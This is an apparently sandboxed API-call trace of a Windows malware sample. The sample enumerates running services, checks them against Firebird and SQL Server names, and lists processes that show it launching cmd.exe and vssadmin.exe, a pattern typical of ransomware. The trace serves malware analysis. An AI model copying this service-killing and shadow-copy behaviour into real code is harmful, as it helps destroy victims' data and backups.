lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0190.178] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0190.178] lstrlenW (lpString="PcaSvc") returned 6 [0190.178] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0190.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0190.178] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0190.178] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0190.178] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0190.178] lstrlenW (lpString="PlugPlay") returned 8 [0190.178] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0190.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0190.178] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0190.178] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0190.178] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0190.178] lstrlenW (lpString="Power") returned 5 [0190.178] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0190.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0190.178] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0190.178] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0190.773] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0190.773] lstrlenW (lpString="ProfSvc") returned 7 [0190.773] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0190.773] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0190.773] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0190.773] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0190.773] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0190.773] lstrlenW (lpString="RpcEptMapper") returned 12 [0190.773] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0190.773] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0190.773] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0190.773] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0190.773] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0190.773] lstrlenW (lpString="RpcSs") returned 5 [0190.773] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0190.773] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0190.773] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0190.773] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0190.773] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0190.774] lstrlenW (lpString="SamSs") returned 5 [0190.774] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0190.774] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0190.774] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0190.774] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0190.774] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0190.774] lstrlenW (lpString="Schedule") returned 8 [0190.774] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0190.774] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0190.774] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0190.774] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0190.774] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0190.774] lstrlenW (lpString="SecurityHealthService") returned 21 [0190.774] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0190.774] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0190.774] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0190.774] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0190.774] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0190.774] lstrlenW (lpString="SENS") returned 4 [0190.774] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0190.774] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0190.774] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0190.774] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0190.774] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0190.774] lstrlenW (lpString="ShellHWDetection") returned 16 [0190.774] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0190.774] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0190.774] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0190.774] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0190.774] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0190.774] lstrlenW (lpString="Spooler") returned 7 [0190.774] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0190.774] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0190.775] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0190.775] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0190.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0190.775] lstrlenW (lpString="StateRepository") returned 15 [0190.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0190.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0190.775] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0190.775] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0190.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0190.775] lstrlenW (lpString="SysMain") returned 7 [0190.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0190.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0190.775] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0190.775] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0190.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0190.775] lstrlenW (lpString="SystemEventsBroker") returned 18 [0190.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0190.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0190.775] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0190.775] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0190.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0190.775] lstrlenW (lpString="Themes") returned 6 [0190.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0190.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0190.775] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0190.775] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0190.775] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x456b180 | out: hHeap=0x420000) returned 1 [0190.775] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x544 [0190.780] Process32FirstW (in: hSnapshot=0x544, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0190.781] Process32NextW (in: hSnapshot=0x544, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0190.781] lstrlenW (lpString="System") returned 6 [0190.781] Process32NextW (in: hSnapshot=0x544, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0190.782] lstrlenW (lpString="smss.exe") returned 8 [0190.782] Process32NextW (in: hSnapshot=0x544, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0190.783] lstrlenW (lpString="csrss.exe") returned 9 [0190.783] Process32NextW (in: hSnapshot=0x544, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0190.783] lstrlenW (lpString="wininit.exe") returned 11 [0190.783] Process32NextW (in: hSnapshot=0x544, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0190.784] lstrlenW (lpString="csrss.exe") returned 9 [0190.784] Process32NextW (in: hSnapshot=0x544, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0190.784] lstrlenW (lpString="winlogon.exe") returned 12 [0190.784] Process32NextW (in: hSnapshot=0x544, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0190.785] lstrlenW (lpString="services.exe") returned 12 [0190.785] Process32NextW (in: hSnapshot=0x544, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0190.785] lstrlenW (lpString="lsass.exe") returned 9 [0190.785] Process32NextW (in: hSnapshot=0x544, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0190.786] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0190.786] Process32NextW (in: hSnapshot=0x544, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0190.786] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0190.786] Process32NextW (in: hSnapshot=0x544, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.787] lstrlenW (lpString="svchost.exe") returned 11 [0190.787] Process32NextW (in: hSnapshot=0x544, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.787] lstrlenW (lpString="svchost.exe") returned 11 [0190.787] Process32NextW (in: hSnapshot=0x544, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0190.788] lstrlenW (lpString="dwm.exe") returned 7 [0190.788] Process32NextW (in: hSnapshot=0x544, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.788] lstrlenW (lpString="svchost.exe") returned 11 [0190.788] Process32NextW (in: hSnapshot=0x544, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.789] lstrlenW (lpString="svchost.exe") returned 11 [0190.789] Process32NextW (in: hSnapshot=0x544, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.789] lstrlenW (lpString="svchost.exe") returned 11 [0190.789] Process32NextW (in: hSnapshot=0x544, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.790] lstrlenW (lpString="svchost.exe") returned 11 [0190.790] Process32NextW (in: hSnapshot=0x544, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.790] lstrlenW (lpString="svchost.exe") returned 11 [0190.791] Process32NextW (in: hSnapshot=0x544, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.791] lstrlenW (lpString="svchost.exe") returned 11 [0190.791] Process32NextW (in: hSnapshot=0x544, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.792] lstrlenW (lpString="svchost.exe") returned 11 [0190.792] Process32NextW (in: hSnapshot=0x544, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.792] lstrlenW (lpString="svchost.exe") returned 11 [0190.792] Process32NextW (in: hSnapshot=0x544, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.793] lstrlenW (lpString="svchost.exe") returned 11 [0190.793] Process32NextW (in: hSnapshot=0x544, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.793] lstrlenW (lpString="svchost.exe") returned 11 [0190.793] Process32NextW (in: hSnapshot=0x544, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0190.794] lstrlenW (lpString="spoolsv.exe") returned 11 [0190.794] Process32NextW (in: hSnapshot=0x544, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.794] lstrlenW (lpString="svchost.exe") returned 11 [0190.795] Process32NextW (in: hSnapshot=0x544, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0190.795] lstrlenW (lpString="audiodg.exe") returned 11 [0190.795] Process32NextW (in: hSnapshot=0x544, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0190.796] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0190.796] Process32NextW (in: hSnapshot=0x544, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0190.796] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0190.796] Process32NextW (in: hSnapshot=0x544, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0190.797] lstrlenW (lpString="Memory Compression") returned 18 [0190.797] Process32NextW (in: hSnapshot=0x544, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0190.797] lstrlenW (lpString="sihost.exe") returned 10 [0190.797] Process32NextW (in: hSnapshot=0x544, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.798] lstrlenW (lpString="svchost.exe") returned 11 [0190.798] Process32NextW (in: hSnapshot=0x544, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0190.799] lstrlenW (lpString="taskhostw.exe") returned 13 [0190.799] Process32NextW (in: hSnapshot=0x544, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a8, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0190.799] lstrlenW (lpString="msoia.exe") returned 9 [0190.799] Process32NextW (in: hSnapshot=0x544, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x44, th32ParentProcessID=0xa04, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0190.800] lstrlenW (lpString="explorer.exe") returned 12 [0190.800] Process32NextW (in: hSnapshot=0x544, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0190.800] lstrlenW (lpString="SearchUI.exe") returned 12 [0190.800] Process32NextW (in: hSnapshot=0x544, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0190.801] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0190.801] Process32NextW (in: hSnapshot=0x544, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0190.802] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0190.802] Process32NextW (in: hSnapshot=0x544, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0190.802] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0190.802] Process32NextW (in: hSnapshot=0x544, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa14, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0190.803] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0190.803] Process32NextW (in: hSnapshot=0x544, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0190.803] lstrlenW (lpString="cmd.exe") returned 7 [0190.803] Process32NextW (in: hSnapshot=0x544, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0190.804] lstrlenW (lpString="conhost.exe") returned 11 [0190.804] Process32NextW (in: hSnapshot=0x544, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1a8, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0190.804] lstrlenW (lpString="consent.exe") returned 11 [0190.805] Process32NextW (in: hSnapshot=0x544, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xe0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0190.805] lstrlenW (lpString="vssadmin.exe") returned 12 [0190.805] Process32NextW (in: hSnapshot=0x544, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xe0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0190.806] CloseHandle (hObject=0x544) returned 1 [0190.806] Sleep (dwMilliseconds=0x1f4) [0191.503] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x447b300 [0191.504] EnumServicesStatusExW (in: hSCManager=0x447b300, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0191.505] GetLastError () returned 0xea [0191.505] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1c94) returned 0x456b398 [0191.505] EnumServicesStatusExW (in: hSCManager=0x447b300, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x456b398, cbBufSize=0x1c94, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x456b398, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0191.506] CloseServiceHandle (hSCObject=0x447b300) returned 1 [0191.506] lstrlenW (lpString="Appinfo") returned 7 [0191.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0191.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0191.506] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0191.506] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0191.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0191.506] lstrlenW (lpString="AppXSvc") returned 7 [0191.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0191.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0191.506] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0191.506] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0191.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0191.506] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0191.507] 